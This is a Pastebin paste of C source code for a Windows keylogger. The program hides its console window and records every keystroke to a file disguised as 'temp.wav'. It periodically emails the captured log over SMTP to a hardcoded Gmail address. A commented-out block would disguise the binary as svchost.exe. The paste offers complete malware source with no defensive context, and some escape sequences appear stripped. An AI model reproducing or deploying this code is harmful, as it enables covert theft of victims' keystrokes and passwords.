Advertisement
Guest User

some stuff by DZ

a guest
Dec 22nd, 2015
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.21 KB | None | 0 0
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <winuser.h>
  4. #include <windowsx.h>
  5. #include <time.h>
  6. int MailIt (char *mailserver, char *emailto, char *emailfrom,
  7. char *emailsubject, char *emailmessage);
  8. #define BUFSIZE 800
  9. #define waittime 500
  10. /*If you dont have free smtp server, use google:) */
  11. #define cmailserver "gmail-smtp-in.l.google.com"
  12. #define cemailto "rianul.abrol@gmail.com"
  13. #define cemailfrom "rianul.abrol@gmail.com"
  14. #define LogLength 100
  15. #define FileName "temp.wav"
  16. #define SMTPLog "templ.wav"
  17. #define cemailsubject "Logged"
  18.  
  19. int test_key(void);
  20. int main(void)
  21. {
  22. //Uncomment the lines below to put the keylogger in stealh mode.
  23. HWND stealth; /*creating stealth */
  24. AllocConsole();
  25. stealth=FindWindowA("ConsoleWindowClass",NULL);
  26. ShowWindow(stealth,0);
  27.  
  28. {FILE *file;
  29. file=fopen(FileName,"a+");
  30. time_t theTime=time(0);
  31. fputs("nStarted logging: ", file);
  32. fputs(ctime(&theTime),file);
  33. fclose(file);
  34. }
  35.  
  36. /* if (test==2)
  37. {//the path in which the file needs to be
  38. char *path="c:\%windir%\svchost.exe";
  39. create=create_key(path);
  40. } */
  41.  
  42. int t=get_keys();
  43. return t;
  44. }
  45.  
  46. int get_keys(void)
  47. {
  48. int freadindex;
  49. char *buf;
  50. long len;
  51. FILE *file;
  52. file=fopen(FileName,"a+");
  53.  
  54.  
  55. short character;
  56. while(1)
  57. {
  58. sleep(10);/*to prevent 100% cpu usage*/
  59. for(character=8;character<=222;character++)
  60. {
  61. if(GetAsyncKeyState(character)==-32767)
  62. {
  63. FILE *file;
  64. file=fopen(FileName,"a+");
  65. if(file==NULL)
  66. {
  67. return 1;
  68. }
  69. if(file!=NULL)
  70. {
  71. if((character>=39)&&(character<=64))
  72. {
  73. fputc(character,file);
  74. fclose(file);
  75. break;
  76. }
  77. else if((character>64)&&(character<91))
  78. {
  79. character+=32;
  80. fputc(character,file);
  81. fclose(file);
  82. break;
  83. }
  84. else
  85. {
  86. switch(character)
  87. {
  88. case VK_SPACE:
  89. fputc(' ',file);
  90. fclose(file);
  91. break;
  92. case VK_SHIFT:
  93. fputs("rn[SHIFT]rn",file);
  94. fclose(file);
  95. break;
  96. case VK_RETURN:
  97. fputs("rn[ENTER]rn",file);
  98. fclose(file);
  99. break;
  100. case VK_BACK:
  101. fputs("rn[BACKSPACE]rn",file);
  102. fclose(file);
  103. break;
  104. case VK_TAB:
  105. fputs("rn[TAB]rn",file);
  106. fclose(file);
  107. break;
  108. case VK_CONTROL:
  109. fputs("rn[CTRL]rn",file);
  110. fclose(file);
  111. break;
  112. case VK_DELETE:
  113. fputs("rn[DEL]rn",file);
  114. fclose(file);
  115. break;
  116. case VK_OEM_1:
  117. fputs("rn[;:]rn",file);
  118. fclose(file);
  119. break;
  120. case VK_OEM_2:
  121. fputs("rn[/?]rn",file);
  122. fclose(file);
  123. break;
  124. case VK_OEM_3:
  125. fputs("rn[`~]rn",file);
  126. fclose(file);
  127. break;
  128. case VK_OEM_4:
  129. fputs("rn[ [{ ]rn",file);
  130. fclose(file);
  131. break;
  132. case VK_OEM_5:
  133. fputs("rn[\|]rn",file);
  134. fclose(file);
  135. break;
  136. case VK_OEM_6:
  137. fputs("rn[ ]} ]rn",file);
  138. fclose(file);
  139. break;
  140. case VK_OEM_7:
  141. fputs("rn['""]rn",file);
  142. fclose(file);
  143. break;
  144. case 187:
  145. fputc('+',file);
  146. fclose(file);
  147. break;
  148. case 188:
  149. fputc(',',file);
  150. fclose(file);
  151. break;
  152. case 189:
  153. fputc('-',file);
  154. fclose(file);
  155. break;
  156. case 190:
  157. fputc('.',file);
  158. fclose(file);
  159. break;
  160. case VK_NUMPAD0:
  161. fputc('0',file);
  162. fclose(file);
  163. break;
  164. case VK_NUMPAD1:
  165. fputc('1',file);
  166. fclose(file);
  167. break;
  168. case VK_NUMPAD2:
  169. fputc('2',file);
  170. fclose(file);
  171. break;
  172. case VK_NUMPAD3:
  173. fputc('3',file);
  174. fclose(file);
  175. break;
  176. case VK_NUMPAD4:
  177. fputc('4',file);
  178. fclose(file);
  179. break;
  180. case VK_NUMPAD5:
  181. fputc('5',file);
  182. fclose(file);
  183. break;
  184. case VK_NUMPAD6:
  185. fputc('6',file);
  186. fclose(file);
  187. break;
  188. case VK_NUMPAD7:
  189. fputc('7',file);
  190. fclose(file);
  191. break;
  192. case VK_NUMPAD8:
  193. fputc('8',file);
  194. fclose(file);
  195. break;
  196. case VK_NUMPAD9:
  197. fputc('9',file);
  198. fclose(file);
  199. break;
  200. case VK_CAPITAL:
  201. fputs("rn[CAPS LOCK]rn",file);
  202. fclose(file);
  203. break;
  204. default:
  205. fclose(file);
  206. break;
  207. }
  208. }
  209. }
  210. }
  211. }
  212. FILE *file;
  213. file=fopen(FileName,"rb");
  214. fseek(file,0,SEEK_END); //go to end
  215. len=ftell(file); //get position at end (length)
  216. if(len>=LogLength) {
  217. fseek(file,0,SEEK_SET);//go to beg.
  218. buf=(char *)malloc(len);//malloc buffer
  219. freadindex=fread(buf,1,len,file);//read into buffer
  220. buf[freadindex] = '';//Extra bit I have to add to make it a sting
  221. MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
  222. fclose(file);
  223. file=fopen(FileName,"w");
  224. }
  225.  
  226. fclose(file);
  227. //free (buf);
  228.  
  229. }
  230. return EXIT_SUCCESS;
  231. }
  232.  
  233. int MailIt (char *mailserver, char *emailto, char *emailfrom,
  234. char *emailsubject, char *emailmessage) {
  235. SOCKET sockfd;
  236. WSADATA wsaData;
  237. FILE *smtpfile;
  238.  
  239. #define bufsize 300
  240. int bytes_sent; /* Sock FD */
  241. int err;
  242. struct hostent *host; /* info from gethostbyname */
  243. struct sockaddr_in dest_addr; /* Host Address */
  244. char line[1000];
  245. char *Rec_Buf = (char*) malloc(bufsize+1);
  246. smtpfile=fopen(SMTPLog,"a+");
  247. if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
  248. fputs("WSAStartup failed",smtpfile);
  249. WSACleanup();
  250. return -1;
  251. }
  252. if ( (host=gethostbyname(mailserver)) == NULL) {
  253. perror("gethostbyname");
  254. exit(1);
  255. }
  256. memset(&dest_addr,0,sizeof(dest_addr));
  257. memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
  258.  
  259. /* Prepare dest_addr */
  260. dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
  261. dest_addr.sin_port= htons(25); /* PORT defined above */
  262.  
  263. /* Get socket */
  264.  
  265. if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
  266. perror("socket");
  267. exit(1);
  268. }
  269. /* Connect !*/
  270. fputs("Connecting....n",smtpfile);
  271.  
  272. if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
  273. perror("connect");
  274. exit(1);
  275. }
  276. sleep(waittime);
  277. err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '';
  278. fputs(Rec_Buf,smtpfile);
  279. strcpy(line,"helo me.somepalace.comn");
  280. fputs(line,smtpfile);
  281. bytes_sent=send(sockfd,line,strlen(line),0);
  282. sleep(waittime);
  283. err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '';
  284. fputs(Rec_Buf,smtpfile);
  285. strcpy(line,"MAIL FROM:<");
  286. strncat(line,emailfrom,strlen(emailfrom));
  287. strncat(line,">n",3);
  288. fputs(line,smtpfile);
  289. bytes_sent=send(sockfd,line,strlen(line),0);
  290. sleep(waittime);
  291. err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '';
  292. fputs(Rec_Buf,smtpfile);
  293. strcpy(line,"RCPT TO:<");
  294. strncat(line,emailto,strlen(emailto));
  295. strncat(line,">n",3);
  296. fputs(line,smtpfile);
  297. bytes_sent=send(sockfd,line,strlen(line),0);
  298. sleep(waittime);
  299. err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '';
  300. fputs(Rec_Buf,smtpfile);
  301. strcpy(line,"DATAn");
  302. fputs(line,smtpfile);
  303. bytes_sent=send(sockfd,line,strlen(line),0);
  304. sleep(waittime);
  305. err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '';
  306. fputs(Rec_Buf,smtpfile);
  307. sleep(waittime);
  308. strcpy(line,"To:");
  309. strcat(line,emailto);
  310. strcat(line,"n");
  311. strcat(line,"From:");
  312. strcat(line,emailfrom);
  313. strcat(line,"n");
  314. strcat(line,"Subject:");
  315. strcat(line,emailsubject);
  316. strcat(line,"n");
  317. strcat(line,emailmessage);
  318. strcat(line,"rn.rn");
  319. fputs(line,smtpfile);
  320. bytes_sent=send(sockfd,line,strlen(line),0);
  321. sleep(waittime);
  322. err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '';
  323. fputs(Rec_Buf,smtpfile);
  324. strcpy(line,"quitn");
  325. fputs(line,smtpfile);
  326. bytes_sent=send(sockfd,line,strlen(line),0);
  327. sleep(waittime);
  328. err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '';
  329. fputs(Rec_Buf,smtpfile);
  330. fclose(smtpfile);
  331. #ifdef WIN32
  332. closesocket(sockfd);
  333. WSACleanup();
  334. #else
  335. close(sockfd);
  336. #endif
  337. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement